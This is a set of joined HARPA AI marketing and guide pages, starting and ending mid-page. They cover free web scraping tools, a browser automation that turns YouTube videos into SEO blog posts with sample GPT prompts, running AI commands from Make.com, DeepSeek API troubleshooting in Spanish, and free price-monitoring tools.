directly via [REST API](https://harpa.ai/grid/grid-rest-api-reference) from any programming language, Terminal, Zapier, n8n, or other services. See the [Scrape Web Page module docs](https://harpa.ai/grid/module-scrape-web-page) and [Web Search & Scraping guide](https://harpa.ai/grid/web-search-and-scraping) for practical examples. ![](https://harpa.ai/img/blog/top-free-web-scraping-tools-3.webp) [\#](https://harpa.ai/blog/top-free-web-scraping-tools-and-chrome-extensions#no-code-web-scraping-platforms-with-free-tiers) No-Code Web Scraping Platforms with Free Tiers ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Beyond extensions, **no-code web scraping** platforms offer cloud scale with **free tiers**: * **Apify**: $5 credits/month free. * **Octoparse**: Limited free plan. * **Bardeen**: 100 credits free (200K users, 4.4/5). Extensions win for browser speed; platforms for bulk jobs. [\#](https://harpa.ai/blog/top-free-web-scraping-tools-and-chrome-extensions#how-to-choose-the-best-web-data-scraper-for-your-needs) How to Choose the Best Web Data Scraper for Your Needs -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Selecting a **web data scraper** depends on your goals: * **Quick table extraction**: Instant Data Scraper — unlimited, one-click. * **Dynamic sites with pagination**: Web Scraper — sitemaps and JS rendering. * **AI-powered extraction with automation**: HARPA AI — page crawler, {{grab}} parameter, Make.com/REST API integration. * **Community recipes**: Data Miner — 1M+ pre-built scrapers. [\#](https://harpa.ai/blog/top-free-web-scraping-tools-and-chrome-extensions#step-by-step:-web-scraping-with-harpa-ai) Step-by-Step: Web Scraping with HARPA AI ---------------------------------------------------------------------------------------------------------------------------------------------------------------- **How to extract data from web pages with HARPA AI:** 1. Install the [HARPA AI Chrome extension](https://get.harpa.ai/) . 2. Navigate to the target site. 3. Press **Alt+A** (Windows) or **^+A** (Mac) to open HARPA. 4. Use `{{page url}}` in a prompt to fetch content, or `{{grab selector}}` to extract specific elements. 5. For multi-page crawling, create a custom command with LOOP and NAVIGATE steps. See the [Page Crawler guide](https://harpa.ai/guides/page-parameter-page-crawler) . 6. For remote scraping, set up a [GRID Node](https://harpa.ai/grid/browser-automation-node-setup) and use the [Scrape Web Page module](https://harpa.ai/grid/module-scrape-web-page) in Make.com. [\#](https://harpa.ai/blog/top-free-web-scraping-tools-and-chrome-extensions#further-reading) Further Reading -------------------------------------------------------------------------------------------------------------- * [Page Crawler Guide](https://harpa.ai/guides/page-parameter-page-crawler) * [Custom AI Commands](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) * [Command Parameters](https://harpa.ai/chatml/parameters) * [GRID: Scrape Web Page Module](https://harpa.ai/grid/module-scrape-web-page) * [GRID: Browser Automation Node Setup](https://harpa.ai/grid/browser-automation-node-setup) * [GRID: REST API Reference](https://harpa.ai/grid/grid-rest-api-reference) * [GRID: Web Search & Scraping](https://harpa.ai/grid/web-search-and-scraping) * [Automation Features](https://harpa.ai/guides/automation-features) * [Price Monitor Guide](https://harpa.ai/guides/monitor-price-drops) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/best-amazon-price-trackers-and-drop-alerts) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-use-harpa-ai) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Create a blog post from a YouTube video using ChatGPT [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/media/repeat-01.svg) Create a blog post from a YouTube video using ChatGPT ===================================================== OUTLINE NAVIGATE Combined with GPT, CALC, NAVIGATE, GROUP and JUMP steps, HARPA AI's v. 7.0 features enable you to create practical AI Automations in your browser. In this blog post, we will build a custom automation that transforms a YouTube video into an article, enriches it with keywords, and then saves it to Notion. [\#](https://harpa.ai/blog/youtube-video-to-blog-post#part-1.-youtube-video-to-blog-post) Part 1. YouTube Video to Blog Post ----------------------------------------------------------------------------------------------------------------------------- Open HARPA, type slash, click the **CREATE** button, and specify a name for your new command, for example, “YouTube to Notion”. ![](https://harpa.ai/img/blog/blog24-1.webp) Add an **ASK** step to request a YouTube URL to be turned into a blog post. ![](https://harpa.ai/img/blog/blog24-2.webp) Add a NAVIGATE step. Add a "{{url}} != current" condition so that it is activated if you enter any URL in response to the ASK step. ![](https://harpa.ai/img/blog/blog24-3-1.webp) Next, we can either use a **COMMAND** step with a predefined command called "Repurpose YouTube Video": ![](https://harpa.ai/img/blog/blog24-3.webp) Or create our custom **GROUP** as a series of steps: ![](https://harpa.ai/img/blog/blog24-4.webp) Let's create a **GROUP** step that will repurpose a YouTube video into a blog post. We can tackle this task with three GPT steps: The first analyzes and summarizes the Video Transcript, chunk by chunk: ![](https://harpa.ai/img/blog/blog24-5.webp) I want you to only answer in {{language}}. You goal is to analyze a part of a YouTube transcript and extract the main important information from that. Choose the format of recording this information depending on the subject of the video and format your response with markdown features. Capture important facts in your answer and do not miss the names of people and their opinions. Please, during the analysis of the transcript, do not mention that this is a video or a video transcript. Just analyze the text as content containing important information. Your response be informative and easy to read & understand. Preserve as much important information as possible; you don't need to shorten your response. Don't write general phrases like "this video is about..." or notes. I only need the result of the transcript analysis. [VIDEO TRANSCRIPT CHUNK]: {{chunk}} The second filters out only the essential information from the summary: ![](https://harpa.ai/img/blog/blog24-6.webp) I want you to process the YouTube video transcript analysis. The goal is to eliminate introductory words and extraneous phrases, leaving only valuable information that can be used to create a blog post. Do not shorten the input, but delete all the general phrases. Your output should consist solely of useful content for article writing. Video transcript analysis: {{content}} The third crafts a blog post from this data: ![](https://harpa.ai/img/blog/blog24-7.webp) Act as a professional blogger with expertise in the specific subject matter. I will provide you with text information obtained from watching a YouTube video; analyze it and write a blog post based on the data obtained. I need a long blog post, do not limit yourself by the word number. Come up with a title for this blog post at the beginning, a meta description, and hashtags at the end. The content must be well-researched and provide valuable insights, opinions, or advice related to the subject. --- Output format: ## Blog post title Blog post text ### Meta description: Meta description Format the text using headings (H2, H3, H4), numbered and bullet points, and other markdown formatting features. [INFORMATION]: {{input}} [BLOG POST IN {{language}}]: Okay, post is ready and we should enrich it with relevant LSI keywords from SERP. [\#](https://harpa.ai/blog/youtube-video-to-blog-post#part-2.-find-relevant-lsi-keywords) Part 2. Find Relevant LSI Keywords ----------------------------------------------------------------------------------------------------------------------------- Moving on, let's supplement our post with relevant LSI keywords, aligning it with Google's E-A-T guidelines. Let's extract the H1 heading from the generated post to form a query for Google, which will be the title of the blog post. Create a new **GROUP** step. Click **EDIT STEPS** to drill down into the new group. Add a **CALC** step and select a function that takes the first line of the generated blog post. Store it in an {{h1}} parameter. We will use blog post title to form a request for Google. ![](https://harpa.ai/img/blog/blog24-8.webp) Add a second **CALC** step to encode the {{h1}} parameter into a URL. This is needed to correctly form the search link, as the URL should not contain spaces, but the title likely does. ![](https://harpa.ai/img/blog/blog24-9.webp) Next, select a **NAVIGATE** step and use the {{h1}} parameter as a search query. You need to form a link where the {{h1}} parameter is placed correctly, for example: https://www.google.com/search?q={{h1}} ![](https://harpa.ai/img/blog/blog24-10.webp) Add the **GPT** step to extract keywords from the page and store them in a {{keywords}} parameter. We will use these keywords in the next step. ![](https://harpa.ai/img/blog/blog24-11.webp) I want you to respond only in {{language}} and output a single table. Pretend to be a SEO keyword research expert. Read the [SERP] that I will provide you and find top 20 LSI keywords in SERP, each containing at least 2 words: - Output these keywords comma separated. - Do not include keywords in the list that are not thematically relevant to my query. - Do not add any notes, write only comma separated keywords. - Do not echo my prompt. [SERP]: {{page}} [KEYWORDS]: Add the final **GPT** step that will integrate the discovered keywords into the previously created blog post. ![](https://harpa.ai/img/blog/blog24-12.webp) Please add keywords to my blog post: {{keywords}}. You can modify the provided keywords to better align with Google E-A-T guidelines. Mention the keywords I provided in the text up to two times. There is no need to restructure the entire text around these keywords. Blog post: {{post}} _Voilà, your SEO-optimized blog post is ready!_ [\#](https://harpa.ai/blog/youtube-video-to-blog-post#part-3.-advanced:-loop-the-command) Part 3. Advanced: Loop the Command ----------------------------------------------------------------------------------------------------------------------------- Add a **CALC** step to append the blog post to a global list in case we’d like to use it in a different command. That will store all our posts in a single parameter called {{g.posts}}, with each new post appended to the list. ![](https://harpa.ai/img/blog/blog24-13.webp) Add an **ASK** step with two options: PASTE TO NOTION and NEXT POST. This will create two active buttons in the chat, which, when pressed, will execute the corresponding scenario. ![](https://harpa.ai/img/blog/blog24-14.webp) ### [\#](https://harpa.ai/blog/youtube-video-to-blog-post#option-1:-send-to-notion) Option 1: Send to Notion We will make our command store the blog post in Notion. Create a step **GROUP** for the first option; we’ll set a condition for this group so that the step is executed when the PASTE TO NOTION button is clicked: "{{option}} = notion". ![](https://harpa.ai/img/blog/blog24-15.webp) Within the new **GROUP**, insert a **NAVIGATE** step with the Notion page URL. ![](https://harpa.ai/img/blog/blog24-16.webp) Finalize this group by adding a **PASTE** step to insert the generated blog post content into the opened Notion page. ![](https://harpa.ai/img/blog/blog24-17.webp) Tip: If the **PASTE** step appears to be not working in Notion, you probably need to activate the Notion page first before pasting the text. This can be done with the **CLICK** step. Drill up from the group. ### [\#](https://harpa.ai/blog/youtube-video-to-blog-post#option-2:-jump-to-the-next-post) Option 2: Jump to the Next Post We'll loop the entire command using a **JUMP** step when the user has selected the NEXT POST option. The **JUMP** step requires a **LABEL** to jump to, so we will label the first step as “start” and **JUMP** to that step. ![](https://harpa.ai/img/blog/blog24-19.webp) The **JUMP** step will redirect us to the beginning of the entire command sequence; you only need to indicate the LABEL of the first step - "start". ![](https://harpa.ai/img/blog/blog24-20.webp) Here, in a few minutes, we've created a custom automation that can save hours of manual work. Imagine how many blog posts such automation could generate in a single workday and how much time it would take to write the same manually. Experiment with the custom AI commands and feel free to share your thoughts or queries in our [Discord](https://discord.gg/B9Evx82m4K) . [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/midjourney-templates) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/chatgpt-ai-content-google-rankings-strategy) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Run AI Commands in Make.com [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) Run AI Commands in Make.com =========================== CONTENTS [HARPA AI Web Browser Agent App](https://eu1.make.com/app/invite/c98499c16cfa22f1051f64346ef91aaa) comes with a **Run AI Command** action module to orchestrate and run AI-powered web automations in your browser. The **Run AI Command** is the most versatile web automation module and supports: * Each of the [100+ built-in AI Commands](https://harpa.ai/cases) * Every command from the evergrowing [Community Commands Library](https://harpa.ai/library) * Custom AI Commands you or your team creates right in the HARPA AI Chrome Extension. We have a separate [Guide on Creating Custom AI Commands](https://harpa.ai/chatml/overview) AI Commands range from simple tasks like web content summarization and extraction, to content generation, form filling and complex workflow automations, automating social media interactions, or running custom JavaScript code in your browser. ### [\#](https://harpa.ai/grid/module-run-ai-command#how-to-remotely-run-ai-command-in-your-browser) How to Remotely Run AI Command in Your Browser Make sure you completed the [GRID Setup Steps](https://harpa.ai/grid/make-com-harpa-grid-setup-basics) . Then: 1. Create a new scenario in Make.com ![](https://harpa.ai/img/grid/harpa-grid-make-com-1.webp) 2. Click "**+**" button to add a **HARPA: Run AI Command** module to your scenario ![](https://harpa.ai/img/grid/harpa-grid-make-com-8.webp) 3. Create a connection to your Node: * Click **Create Connection** * Name your connection * Go to **HARPA** > **Automate tab >** Create and copy your **API Key** to Make.com module ![](https://harpa.ai/img/grid/harpa-grid-make-com-9.webp) 4. Choose a command you want to run remotely. For example, pick a ["LinkedIn Profile Scraper"](https://harpa.ai/library/linked-in-profile-scraper/67658ecadd321dd19e95ef17) command, which collects public data from a LinkedIn profile page. HARPA GRID can run commands both synchronously and asynchronously: * _Synchronous_ runs return the result immediately after execution. This allows creating a multi-step scenario where the next module can use the result of the command. Such commands are limited to 5 minutes of execution time, which is a maximum Make.com allows for a single module. * _Asynchronous_ runs are stored in HARPA GRID for 30 days and will be launched over your HARPA GRID Nodes (Web Browser Agent) once Nodes connect to the Internet. Results of the run are sent to the specified webhook. This is useful for long-running commands or if your Nodes are frequently offline, for example if you run automations on your laptop. We will use the synchronous run for this example. To run command in asynchronous mode, you need to specify a **resultsWebhook** parameter, which is a webhook address where the result will be sent. * Import ["LinkedIn Profile Scraper"](https://harpa.ai/library/linked-in-profile-scraper/67658ecadd321dd19e95ef17) command to HARPA. LinkedIn Profile Scraper stores the command execution result in **{{profile}}** parameter. ![](https://harpa.ai/img/grid/harpa-grid-make-com-10.webp) * Copy the command name (**LinkedIn Profile Scraper**) and paste it into the **name** field in the **HARPA Run AI Command** module in your Make.com scenario. * Insert the URL where the tab will open and the command will run - in this example, it can be any LinkedIn profile page. * Write parameter name that stores the result - in this case it will be **profile**. If not specified, HARPA GRID sends the last chat message as a response to Make.com. * You can also specify a Node ID to run this command. If left blank, the command will run on the first available node. ![](https://harpa.ai/img/grid/harpa-grid-make-com-11.webp) 5. Click **Run once** in Make.com to test your scenario and extracted data: You can check the results directly in Make.com. HARPA GRID comes with **On Action Result** which provides a webhook if you want to run command asynchronously. For more info on creating your custom AI Commands, check out our [ChatML Guide](https://harpa.ai/chatml/overview) and examples in [AI Command Library](https://harpa.ai/library) . [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/make-com-harpa-grid-setup-basics) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/module-run-ai-prompt) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | DeepSeek API No Funciona. Problemas Comunes y Soluciones. [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/tool-02.svg) DeepSeek API No Funciona. Problemas Comunes y Soluciones. ========================================================= OUTLINE NAVIGATE [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#conexi%C3%B3n-estable-y-privada-a-deepseek-a-trav%C3%A9s-de-harpa) Conexión Estable y Privada a DeepSeek a través de HARPA --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Para los usuarios que tienen problemas continuos o que les preocupa la seguridad de sus datos personales, HARPA AI ofrece una solución basada en la nube. Este servicio evita las limitaciones del hardware local y la sobrecarga de los servidores, proporcionándote acceso ininterrumpido a DeepSeek AI. Con una suscripción a HARPA S, tienes acceso a DeepSeek, OpenAI, Claude, Llama y otros modelos con un tiempo de actividad del 99.9%. ![](https://harpa.ai/img/blog/deepseek-server-busy-02.webp) HARPA te permite utilizar cualquier IA en cualquier página web sin restricciones geográficas, gracias al hospedaje de terceros, que es independiente de los servidores de DeepSeek. [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#soluci%C3%B3n-de-problemas-paso-a-paso-para-la-api-de-deepseek) Solución de Problemas Paso a Paso para la API de DeepSeek -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#1.-revisa-el-estado-del-servidor) 1\. Revisa el estado del servidor Visita la [página de estado oficial](https://status.deepseek.com/) para comprobar si existen cortes generalizados o picos de tráfico que estén causando el problema. Si el problema se origina en el servidor, encontrarás actualizaciones en tiempo real aquí. ![](https://harpa.ai/img/blog/deepseek-server-busy-01.webp) ### [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#2.-verifica-tu-conexi%C3%B3n-a-internet) 2\. Verifica tu conexión a Internet Examina la estabilidad de tu red accediendo a otros sitios web. Una conexión débil o intermitente puede ocasionar lentitud en la respuesta de la API. Considera reiniciar tu router o cambiar a una red más confiable para evaluar la conexión. Recursos para probar la calidad de la conexión: * [https://www.speedtest.net/](https://www.speedtest.net/) * [https://fast.com/](https://fast.com/) * [https://www.speedcheck.org/](https://www.speedcheck.org/) ### [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#3.-verifica-la-clave-de-la-api-y-la-autenticaci%C3%B3n) 3\. Verifica la clave de la API y la autenticación Asegúrate de que tu clave de API esté activa, formateada correctamente e integrada de manera adecuada en tu código. [Verifica nuevamente las credenciales](https://platform.deepseek.com/api_keys) y, si es necesario, genera una nueva clave para solucionar cualquier problema de autenticación. ### [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#4.-revisa-la-documentaci%C3%B3n-de-la-api) 4\. Revisa la documentación de la API Consulta la [documentación más reciente de la API](https://api-docs.deepseek.com/) para confirmar que estás utilizando el endpoint correcto, los parámetros de solicitud adecuados y el formato de datos apropiado. Las actualizaciones en la documentación pueden requerir ajustes en tu implementación y estructura de código. ### [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#5.-optimiza-las-cargas-%C3%BAtiles-y-las-consultas) 5\. Optimiza las cargas útiles y las consultas Reduce el tamaño de los datos enviados en las solicitudes a la API. Simplifica consultas excesivamente complejas utilizando paginación, filtros efectivos o estrategias de compresión de datos para asegurar un procesamiento más eficiente y respuestas más rápidas. ### [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#6.-monitorea-los-l%C3%ADmites-de-tasa-de-la-api) 6\. Monitorea los límites de tasa de la API Revisa regularmente el [número de solicitudes permitidas en un período determinado](https://api-docs.deepseek.com/quick_start/rate_limit) . Implementa estrategias robustas de limitación de tasa para evitar exceder estos límites, lo cual podría ocasionar respuestas limitadas o errores. ### [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#7.-desactiva-el-firewall-o-vpn) 7\. Desactiva el firewall o VPN Desactiva temporalmente las configuraciones del firewall o VPN que puedan estar bloqueando inadvertidamente las llamadas a la API. Si la API funciona correctamente después de estos ajustes, considera incluir los endpoints de la API de DeepSeek en la lista blanca para mantener el acceso ininterrumpido. ### [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#9.-prueba-con-un-ejemplo-m%C3%ADnimo) 9\. Prueba con un ejemplo mínimo Simplifica tu solicitud comenzando con una llamada mínima a la API. Luego, incorpora gradualmente parámetros adicionales para identificar dónde comienzan a surgir errores o problemas de rendimiento, asegurando que la solución de problemas sea focalizada y metódica. [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#c%C3%B3digos-de-error-de-la-api-de-deepseek-y-sus-soluciones) Códigos de Error de la API de DeepSeek y sus Soluciones ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#c%C3%B3digos-de-error-comunes) Códigos de Error Comunes * **400 - Formato Inválido:** El formato del cuerpo de la solicitud es incorrecto. Modifica el formato de la solicitud de acuerdo con la documentación oficial de la API para asegurar la compatibilidad. * **401 - No Autorizado:** Este error indica que falta la clave de la API o que es incorrecta. Verifica que tu clave sea válida, esté actualizada y se encuentre correctamente integrada en tus solicitudes. * **402 - Balance Insuficiente:** Es posible que tu cuenta haya alcanzado su límite de uso. Revisa el saldo de tu cuenta y recarga, si es necesario, para continuar haciendo solicitudes a la API sin interrupciones. * **422 - Parámetros Inválidos:** Los errores en los parámetros proporcionados pueden provocar este código. Verifica que cada parámetro cumpla con el tipo de dato y formato requeridos, según se especifica en la documentación. * **429 - Límite de Tasa Alcanzado:** Realizar demasiadas solicitudes en un corto período puede desencadenar este error. Controla la cantidad de solicitudes y considera un plan superior para adaptarte a la demanda creciente. * **500 - Error del Servidor:** Este es un error del lado del servidor que sugiere un problema en el procesamiento de DeepSeek. Espera unos momentos y vuelve a intentarlo o contacta al soporte si el problema persiste. * **503 - Servidor Sobrecargado:** Este error ocurre durante períodos de tráfico excepcionalmente alto. Se recomienda esperar y volver a intentar la solicitud más tarde, permitiendo así que el servidor se recupere de la sobrecarga. [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#preguntas-frecuentes) Preguntas Frecuentes ------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#%C2%BFpor-qu%C3%A9-la-api-de-deepseek-responde-lentamente?) ¿Por qué la API de DeepSeek responde lentamente? Varios factores pueden causar respuestas lentas, tales como una alta carga en el servidor, consultas complejas, cargas de datos grandes y problemas de conectividad. Optimizar estas áreas a menudo conduce a un mejor rendimiento. ### [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#%C2%BFqu%C3%A9-debo-hacer-si-mi-clave-de-api-falla-en-la-autenticaci%C3%B3n?) ¿Qué debo hacer si mi clave de API falla en la autenticación? Primero, asegúrate de que la clave de la API esté ingresada correctamente y no haya expirado. Si el problema persiste, genera una nueva clave a través del panel de DeepSeek y actualiza la implementación en consecuencia. ### [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#%C2%BFc%C3%B3mo-puedo-verificar-si-los-servidores-de-deepseek-est%C3%A1n-ca%C3%ADdos-o-sobrecargados?) ¿Cómo puedo verificar si los servidores de DeepSeek están caídos o sobrecargados? Consulta la página de estado oficial para obtener actualizaciones en tiempo real sobre el estado de los servidores. En caso de una interrupción o sobrecarga confirmada, se recomienda esperar a que el problema se resuelva antes de realizar nuevas solicitudes. [\#](https://harpa.ai/blog/deepseek-api-not-working-spanish#m%C3%A1s-gu%C3%ADas-de-soluci%C3%B3n-de-problemas) Más Guías de Solución de Problemas -------------------------------------------------------------------------------------------------------------------------------------------------- * [Cómo Solucionar Respuestas Demasiado Numerosas de ChatGPT en 1 Hora](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [Cómo Solucionar que ChatGPT esté a Capacidad en este Momento](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [Cómo Solucionar Error Interno del Servidor de ChatGPT](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [Cómo Solucionar el Error 1020 de ChatGPT](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [Cómo Solucionar que los Plugins de ChatGPT no Aparezcan](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [Verificación de SMS en ChatGPT](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [Verificación de SMS en ClaudeAI](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/no-cost-wordpress-automation-spanish) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix-spanish) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Best Free Price Monitoring Tools for E-commerce: Top Software Comparison for Small Businesses [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/finance/tag-01.svg) Best Free Price Monitoring Tools for E-commerce: Top Software Comparison for Small Businesses ============================================================================================= OUTLINE NAVIGATE ![](https://harpa.ai/img/blog/best-free-price-monitoring-tools-for-e-commerce-1.webp) As an e-commerce seller, you know the daily grind of monitoring competitor prices, stock levels, and page updates across sites like Amazon, Walmart and AliExpress. Manual checks are time-consuming and error-prone, but **free price monitoring software** and tools offer a lifeline for small businesses. While options like Visualping and UptimeRobot shine with generous free tiers, they cap pages and checks—highlighting the need for scalable **ecommerce price monitoring tools**. This guide compares the best free price monitoring tools, drawing from top-rated solutions to help you track prices without spending a dime, and spotlights extensible alternatives like [ChatGPT for E-commerce](https://harpa.ai/blog/chatgpt-for-ecommerce) via browser extensions. [\#](https://harpa.ai/blog/best-free-price-monitoring-tools-for-e-commerce#why-e-commerce-sellers-need-free-price-monitoring-software) Why E-commerce Sellers Need Free Price Monitoring Software -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Staying competitive means constant vigilance on prices, but small businesses can't afford enterprise suites starting at $99/month. **Free price monitoring software** addresses this, letting you track drops on Amazon, Etsy, and Walmart without budgets. Tools like CamelCamelCamel provide unlimited Amazon alerts, while Visualping handles multi-site visual changes. Research shows free tiers are essential yet limited: Visualping caps at 5 pages/150 checks monthly, UptimeRobot at 50 monitors—fine for fewer than 100 SKUs but unscalable. Manual tracking leads to errors and missed opportunities. That's where **price monitoring for small business** shines, saving hours. HARPA AI's browser extension extends this further, automating checks across sites effortlessly. ![](https://harpa.ai/img/blog/best-free-price-monitoring-tools-for-e-commerce-2.webp) [\#](https://harpa.ai/blog/best-free-price-monitoring-tools-for-e-commerce#top-free-price-monitoring-tools-for-multi-site-tracking) Top Free Price Monitoring Tools for Multi-Site Tracking -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- For versatile **free price monitoring tool** options, start with leaders in multi-site tracking. Visualping offers a permanent free tier for 5 pages and 150 checks/month, including hourly frequency, visual screenshots, AI summaries, and email alerts—perfect for e-commerce price changes. It earns 4.6/5 on G2 from 393 reviews. UptimeRobot provides 50 free monitors with 5-minute intervals, keyword detection for prices, and real-time alerts, outperforming paid tools like Prisync for small teams. Rated 4.7/5 on G2 and 4.8/5 on Capterra. Other standouts: * **Distill.io**: Free plan with premium at $9/month; tracks specific elements like prices. * **Fluxguard**: 3 sites free, HTML/DOM comparisons. * **Browse.ai**: 2 domains, 50 credits/month for no-code scraping. **Pros**: No credit card needed, easy setup, reliable alerts. **Cons**: Strict limits on pages/checks; no advanced analytics. These **best price monitoring tool** options suit beginners tracking Walmart or general sites. [\#](https://harpa.ai/blog/best-free-price-monitoring-tools-for-e-commerce#visualping:-best-free-price-monitoring-website-for-beginners) Visualping: Best Free Price Monitoring Website for Beginners ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Visualping stands out as the top **price monitoring website** for non-tech users. Its free tier monitors visual webpage changes—like price tags—with AI-powered summaries, highlighted diffs, and email/Slack alerts. Set hourly checks on any e-commerce site; ideal for spotting drops on Amazon or Etsy. Limitations: 5 pages max, 150 checks/month (daily default, hourly upgradable). Still, 4.6/5 G2 rating praises ease for small businesses. No credit card required, unlike some freemium rivals. [\#](https://harpa.ai/blog/best-free-price-monitoring-tools-for-e-commerce#uptimerobot:-reliable-free-price-monitoring-software-for-small-teams) UptimeRobot: Reliable Free Price Monitoring Software for Small Teams ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- UptimeRobot delivers robust **price monitoring software free** with 50 monitors forever, detecting keywords like "$XX.XX" for instant alerts via email/app. Supports Amazon, Walmart—great for teams vs. Prisync's $99+ entry. High marks (4.7/5 G2, 